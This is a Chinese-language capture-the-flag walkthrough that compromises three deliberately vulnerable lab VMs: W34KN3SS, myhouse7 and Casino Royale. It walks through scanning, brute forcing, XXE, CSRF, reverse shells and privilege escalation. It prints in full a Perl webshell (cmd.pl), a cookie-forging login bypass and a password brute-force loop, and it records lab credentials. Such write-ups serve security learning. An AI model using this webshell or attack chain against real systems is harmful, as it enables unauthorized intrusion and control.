靶机渗透三部曲——W34KN3SS+myhouse7+Casino Royale

 

前言

本文对三个web靶机进行渗透分析,由易到难,循序渐进,分享出来,共同交流学习。

 

W34KN3SS

靶机地址:Download

靶机直接扔到vmware里,然后查看目标靶机IP地址信息:

netdiscover

上nmap查看靶机所开放的端口信息:

nmap

可以看到22、80、443三个端口,首先查看80端口的web信息

apacheweb

是apache的默认网页,没有发现有价值的信息,上wfuzz爆破一下站点的子目录:

wfuzz

访问blogtest子目录,均没有发现很有价值的线索。

80testweb

再来回看端口扫描结果,在443端口的扫描结果中,观察到ssl-cert相关信息,将weakness.jth添加到本地hosts文件中,然后访问该域名:

hosts

weaknessjth

爆破该域名的子目录:

wfuzz443

这里发现了比较敏感的提示信息private目录,访问子目录发现了两个重要的文件:

443private

两个文件的内容如下:

notes.txt:
this key was generated by openssl 0.9.8c-1

mykey.pub:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster

根据提示信息判断,0.9.8c-1版本openssl产生的key应该是存在可利用漏洞的:

searchsploit

searchsploit搜索一下,如图所示,由于伪随机数生成器可预测,导致SSH会被暴力破解,查看漏洞利用脚本内的信息:

cat5720py

根据描述,我们将5622.tar.bz2文件下载并解压,而后根据mykey.pub文件内的base64编码信息进行搜索:

ssh-rsa-grep

ssh_privatekey

如图所示,成功搜索到对应的私钥信息,利用此凭证登录SSH

sshsuccess

拿到当前目录下user.txtflag。工作进行到这里,并没有结束,因为靶机要求以root权限登录。因此需要继续进行~

在当前目录下还有一个code文件,是一个python编译后的文件。最直接的想法就是反编译。将code文件取回到本机,扔到在线网站进行反编译,结果如下:

pycdecompiler

可以发现其貌似是一个登录凭证:

n30:dMASDNB!!#B!#!#33

尝试利用上述信息,成功获取root权限,并拿到root.txt的flag:

roottxt

 

myhouse7

靶机简介

靶机链接:https://thepcn3rd.blogspot.com/p/myhouse7.html

目标靶机上运行着多个docker container,靶机有2个Flag,每个container有3个Flag,一共20个Flag。Flag的格式如下:{{tryharder:xxx}},其中xxx最多为4位数。目标靶机内的整体网络架构大致如下图所示:

diagram.PNG

基本信息搜集

首先netdiscover侦查靶机的IP信息

netdiscover

然后,nmap扫描靶机的端口信息

nmap_default

显然,靶机开放的端口包括:22,25,443,8008,10000,20000。上述端口扫描用的默认脚本,由于考虑到本靶机包含多个docker共20个Flag,为避免产生疏漏,进一步利用参数-P1-65535对所有端口进行遍历扫描。

结果,果然有意外收获,开放的端口还包括8111,8112,8115,而8111端口的扫描更是直接收获到一个Flag{{tryharder:114}}

nmap_8111_flag

nmap_8112_8115

针对上述开放的端口,可有针对性地开展下一步工作:

  • 对22 ssh 端口尝试爆破
  • 对各具体http的端口,寻找web的漏洞利用点

下面的行文将针对每一个container展开分析,而在真正的实践过程中,则是对搜集信息进行综合利用。

443 web container

web访问各端口的http服务,发现443端口指向如下页面,页面仅有简单的图片和文字,直接审源码,拿到一枚Flag,{{tryharder:999}}

web_page_443

web_443_flag

然后,对该站点进行子目录爆破,可利用的工具有gobusterwfuzz,此处使用后者,利用参数--hc 404 --hl 0,过滤掉404状态码的结果以及返回为空的结果。

wfuzz

爆破结果如上图,可以观察到两个可疑的结果fflag,然后又拿到2个Flag,{{tryharder:217}},{{tryharder:714}}

443_flag2_flag3

至此,针对此web container的3个Flag已全部拿到。

20000 web host

访问20000端口的页面,直接在主页拿到一枚flag,{{tryharder:1}}此flag与后文一flag重复。

host_flag1.png

根据其页面信息提示,该页面很有可能是检测其靶机中各container的运行状态,因而该web应该是位于靶机host的,而非docker,因此该站点应该是包含2个flag的。

那么,另一个flag藏在哪里呢?就在该页面中。。。隐藏的input,差点儿就漏过去了。。

host_flag2.png

8111 web container

8111_index

8111端口的web页面似乎没有重要信息,下面依然用wfuzz爆破8111端口的web

8111_wfuzz

server-status下发现的Flag在前文已经拿到:

8111_flag2

而图中的index.php则给了暗示,我们尝试扫描该站点下是否还存在其他的php文件,结果果然有收获:

8111_gobuster

查看一下b.phpc.php的内容:

8111_curl_php

其中b.php页面中的信息耐人寻味,其向c.php提交的value="ls -lha /etc/backup",其name=command,似乎在暗示,b.phpc.php提交shell命令,而c.php返回结果。

8111_c_ls

web访问页面,验证了我们上文的猜想。这里看到了/etc/backup目录下存在flag.txt文件,因此,上burpsuite修改value的命令来拿flag:{{tryharder:1}}

8111_burp_flag

继续修改command,看到在该网站的根目录下存在着另一个flag文件,成功拿到该container的第三个flag{{tryharder:511}}
8111_ls_al

8115 web container

访问主页面,看到一句充满暗示性的语句:I stored a backup in /timelock/backup

8115_default

果然在其目录下发现了不得了的东西:

8115_flag1.png

继续浏览其他子页面,发现了timeclock页面,需要登录口令,猜测其是否存在弱口令的情况。

8115_timeclock_default.png

all.zip文件下载回来,在其内的timeclock.sql内发现了如下sql语句

8115_timeclock_backupsql.png

猜测可能为弱口令admin,果然成功登录,在其内部发现了一用户列表,包含了用户名和密码,各账号的用户名与口令相同,其中admin、larryjr、heather三个用户在后续会用到。

8115_timeclock_user.png

先暂时放下数据库中的信息,回到browse_backups.php页面,其提示信息如下,暗示可执行shell:

8115_ls_al.png

查看靶机上是否perl、python、Ruby等环境,以便构造反向shell。最终,利用python3成功实现反向shell。

8115_reverse_shell.png

如此以来~我们便可以干很多事情了~

由于我们已经知道了flag的字符串格式,我们直接在web目录下对文件内容进行字符串匹配:

grep -nr tryharder *

结果真的就如我们所愿…拿到了该web docker下的三个全部flag。

8115_all_flag.png

mysql db container

8115_flag2.png

上文的{{tryharder:737}}位于/var/www/html/anchor/config/db.php文件中,猜测其可能是web的数据库配置文件,在文件具体内容中,找到了数据库的信息

hostname -> 172.31.20.10
port -> 3306
username -> root
password -> anchordb

因此,下一步工作尝试对mysqlcontainer进行渗透

mysql_no_env.png

当前web环境中并不包含Mysql环境,因此先通过wget在web环境中导入mysql环境,然后登录到mysql数据库中

mysql_login.png

分别在flag数据库的flag表和anchor数据库的anchor_users表中拿到两个flag

database_flag1.png

database_flag2.png

数据库中一顿翻江倒海之后,并没有找到第三个flag,猜测其可能不再数据库表项中。尝试利用数据库注入的LOAD_FILE来查找mysql container 中是否存在类似于flag的文件。

database_flag3.png

至此,关于mysql db container的3枚flag已收齐。

smb container

至此,好像没有其他可利用的信息了。因此,尝试对22端口的ssh进行爆破,而爆破所用的字典首先想到的是在8115端口的web中发现的admin、larryjr、heather,利用hydra进行爆破:

ssh_brute_force.png

吃惊脸~拿到了ssh的账户admin,admin。登录到靶机后的信息如下图,admin的权限为all,这意味着我们可以彻底控制目标靶机,甚至查看其上运行的各个docker container的状态。这应该是靶机创作者不小心的失误,而非靶机创作者的初衷。因此,后续的过程,我们将会控制权限的使用。

ssh_sudo_docker_stats.png

查看host上的网络信息,发现其内部存在多个子网段:

ssh_ifconfig.png

上nmap对各网段扫描,寻找可利用的信息,在对172.31.30.0/24的网段进行扫描时,发现如下信息:

ssh_nmap_30.png

而139端口、445端口是SMB协议的端口,为对这两个端口进行深入的分析,先在本地到其端口之间建立两条ssh隧道:

ssh_tunel_445.png

ssh_netstat_139_445.png

则下一步对本地的139和445端口的操作,会被映射到靶机内网的对应端口上。

下面用smbmap对本地进行扫描,虽然看起来有些奇怪,但由于ssh隧道的存在,最终扫描的是172.31.30.24机器。

smb_smbmap.png

在445端口上发现了两个Disk信息: userscompanyInfo,但此时还没有相关权限,需要相关的用户名和口令。这里再次想到了前文收集到的heather、larryjr两个用户。尝试一下,果然正确。

smb_smbmap_heather.png

用smb客户端smbclient分别登录到userscompanyInfo中。

smb_smbclient_heather.png

smb_smbclient_companyinfo.png

如上图所示,再次拿到了两个Flag。而第三枚flag,根据hint.txt提示,是moreinfo.7z文件的解压密码,格式满足{{tryharder:xx}},xx为两位数。利用的思路很清晰:穷举爆破,利用如下代码,最终拿到的flag为{{tryharder:77}}

import os
for i in range(101):
    passwd = "{{tryharder:%02d}}"%(i)
    cmd = ("7z e -aoa -p{0} moreinfo.7z").format(passwd)
    r = os.popen(cmd)
    info = r.read()
    if info.find("Errors") == -1:
        print passwd

24 ssh container

在靶机host上再次对172.31.20.0/24网段进行扫描:

last_nmap.png

发现在172.31.20.194的地址的24端口上运行着一个未知服务,尝试ncat连接过去,发现其实运行的是ssh服务:

last_ncat

同样,为方便后续操作,在本地20024端口与172.31.20.194:24间建立一条ssh隧道:

last_ssh_tunel.png

last_20024_stats.png

对于此ssh端口,之前搜集掌握的信息较少,因此只能采取爆破的方法,将前文收集的各类用户名和口令汇集成字典进行爆破:

last_ssh_brute_force.png

成功爆破,ssh登录本地的20024端口,实质上是登录到靶机内网172.31.20.194:24的ssh服务,登录后就发现了两枚flag。

last_ssh_root_flag1_flag2.png

ssh登录到内网机器后,相当于我们已经掌控了对应机器,为简化寻找第三枚flag的操作,直接用grep搜索匹配特定格式的字符串。

last_grep_flag3.png

 

casino royale

上面两个靶机还稍显简单,下面来看casino royale靶机,听这名字“皇家赌场”,还蛮有气势的。

靶机地址:Download

老套路,上来查看靶机IP信息,然后扫描端口信息:

netdiscover

nmap

开放了4个端口:21-ftp,25-smtp,80-http,8081-http

由80web端口入手:

80index

页面上是个so cool的背影….没有重要信息,进行子目录爆破:

wfuzz80

看到有index.phpphpmyadmin等线索,首先分析前者:

80indexphp

由上图可以观察到,该页面提到了pokermax poker league software,自然想到查看其是否存在已知的可利用漏洞,searchsploit结果如下:

searchsploit_poker

果然有漏洞,具体漏洞信息如下图,其表明存在着不安全的Cookie处理流程,可实现以admin登录:

cat_6766txt

根据漏洞提示,直接访问/pokeradmin/configure.php页面,会跳转到登录界面:

pokeradmin_indexphp

在实际的摸索过程中,发现这一步可采用2种方法:

方法一:利用poker League-insecure cookie handling 直接绕过登录

利用WEB开发者工具的控制台,通过javascript:document.cookie="ValidUserAdmin=admin"
绕过/pokeradmin/index.php,直接以管理员身份跳转到/pokeradmin/configure.php页面,在页面内直接观察到管理员口令信息:

bypass_indexphp

方法二:利用sqlmap尝试获取数据库信息

sqlmap_1

sqlmap_2

发现数据库为:pokerleague,尝试从数据库中获取管理员登录信息

sqlmap_3

sqlmap_4

如图所示,从数据库中拿到的管理员信息与方法1中的信息是一致的。

继续进行~

在管理员的configure.php页面内,根据提示,将casino-royale.local添加到本地的/etc/hosts文件内:

edit_hosts

继续在管理员页面内寻找信息,在Manage Players页面内看到多个用户的信息,其中Valenka用户具有email链接,并在其用户信息内发现了新的链接:/vip-client-portfolios/?uri=blog

edit_players

访问新链接,发现其为Snowfox CMS

snowfox_cms_web

在页面内发现了重要的提示信息,要求向valenka发送邮件信息。

先来查看一下关于Snowfox CMS的信息,searchsploit找到该架构的漏洞和利用相关信息,为CSRF跨站请求伪造漏洞,利用该漏洞可获得管理员权限账户:

snowfox_cms

根据提示,在本机/var/www/html路径下新建1.html文件,将上述内容拷入其中,并对部分内容进行修改如下:

1_html

然后开启本机的apache服务。

根据靶机Snowfox CMS页面的提示信息,下一步利用25端口向靶机发送邮件信息。

查阅资料https://www.thomas-krenn.com/en/wiki/Test_TCP_Port_25_(smtp)_access_with_telnet,利用telnet连接到25端口后发送邮件的大致流程为:

EHLO test.example.com
MAIL FROM:<SENDERADDRESS>
RCPT TO:<RECIPIENTADDRESS>
DATA
Subject: Testmessage
(Blank line, press Enter again)
This is a test.
(Blank line, press Enter again)
.
QUIT

这里需要注意的是,靶机Snowfox CMS页面提示到,邮件的Subject必须是一个已知的用户,否则邮件不会被靶机接收。邮件发送详情如下:

telnet_sendmail

邮件发送到目标靶机后,在本机apache的日志文件中,看到了靶机对1.html的访问记录:

apache_accesslog

此时,漏洞已触发完成,可利用在1.html内写入的用户名和口令作为管理员账户登录到Snowfox CMS系统中:

cms_login

随后,在其用户管理页面中,在le用户信息中找到了新的链接:

cmd_newurl

访问一下:

new_url

在其源码中,看到了进一步的提示信息:

newurl_source

其提示信息大致意思是说可以向该页面post一个xml文件,在链接https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing上找到了详情信息,该步骤的主要内容是关于XML External Entity (XXE) Processing的。

构造一个xml.txt文件如下,通过curl命令,post到该页面中:

xml_txt

curl_ftpuser

从返回结果中看到了ftp的用户名,由于21端口是开放的,且上面页面源码的提示信息说到ftp的密码是比较简单的,因此尝试爆破ftp:

bruteforce_ftp

爆破成功,利用该口令信息登录ftp:

ftp_login

浏览一下信息,发现可通过浏览器直接访问该目录:

dirb_web

几个文件内并没有有价值的信息,而hello_world.pl文件则给了我们暗示,我们尝试通过ftp上传一个webshell的perl文件:

upload_pl

cmd.pl内容如下,来自github

#!/usr/bin/perl
#
# PerlKit-0.1 - http://www.t0s.org
#
# cmd.pl: Run commands on a webserver

use strict;

my ($cmd, %FORM);

$|=1;

print "Content-Type: text/htmlrn";
print "rn";

# Get parameters

%FORM = parse_parameters($ENV{'QUERY_STRING'});

if(defined $FORM{'cmd'}) {
  $cmd = $FORM{'cmd'};
}

print '<HTML>
<body>
<form action="" method="GET">
<input type="text" name="cmd" size=45 value="' . $cmd . '">
<input type="submit" value="Run">
</form>
<pre>';

if(defined $FORM{'cmd'}) {
  print "Results of '$cmd' execution:nn";
  print "-"x80;
  print "n";

  open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";

  while(<CMD>) {
    print;
  }

  close(CMD);
  print "-"x80;
  print "n";
}

print "</pre>";

sub parse_parameters ($) {
  my %ret;

  my $input = shift;

  foreach my $pair (split('&', $input)) {
    my ($var, $value) = split('=', $pair, 2);

    if($var) {
      $value =~ s/+/ /g ;
      $value =~ s/%(..)/pack('c',hex($1))/eg;

      $ret{$var} = $value;
    }
  }

  return %ret;
}

检验一下,该shell的效果还是很好滴:

webshell

在此基础上,直接利用该webshell拿下一个回连本地1234端口的shell:

nc_shell

opt_casino_royale

拿到shell,当前用户为www-data,在路径/opt/casino-royale下发现了新的线索,该index.html页面刚好是8081端口对应的页面,根据index.html的内容可知,其会调用collect.php,而collect.php则会调用casino-data-collection.py脚本

index_collect

脚本casino-data-collection.py属于le用户,而当前www-data组对casino-data-collection.py脚本具有可写权限,我们可以写入一个反向python shell,这样当点击web界面的按钮时,即可获得一个le用户权限的反向shell:

1235_reverseshell

获得新shell,当前用户变更为le

继续分析这几个文件,mi6_detect_test文件为root所有,但其他用户可执行,且设置了setuid标志位,而run.shle所有,具有读写执行权限,而在分析过程中发现,前者会调用后者。

因此利用思路为:在run.sh中写入/bin/bash,这样mi6_detect_test执行时即获得了root权限的shell:

get_root

拿到root权限,执行/root/flag/flag.sh文件,前往web的8082端口~

Congratulations!!

root_flag

(完)